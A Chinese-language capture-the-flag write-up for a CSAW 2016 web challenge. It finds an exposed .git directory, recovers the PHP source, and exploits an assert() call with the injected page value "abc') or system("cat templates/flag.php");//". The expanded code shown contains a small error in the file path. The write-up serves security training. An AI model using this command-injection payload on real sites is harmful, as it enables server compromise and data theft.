题目描述
来源:csaw-ctf-2016-quals
Solution
打开网页,这是一个老哥自己写的网站:

这里提到他用了 Git,我们用 dirsearch 扫一下目录:

可以发现它的网站有.git目录,我们用 GitHack 拿下源代码:

我们注意到有templates/flag.php文件,但里面没有东西:

我们阅读index.php,重点关注前面的代码:
if (isset($_GET['page'])) {$page = $_GET['page'];} else {$page = "home";}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look niceassert("file_exists('$file')") or die("That file doesn't exist!");
assert()函数有命令执行的风险,我们可以构造下列 Payload,直接打印templates/flag.php的内容:
?page=abc') or system("cat templates/flag.php");//
这个参数和上述的 file 变量替换,等同于执行了以下代码。
assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false")
首先因为网页不存在 abc 页面,所以使用 strpos() 函数会返回 false,因此代码会执行 or 后面的 system() 函数。尾部添加个注释,让后面的代码不要执行。

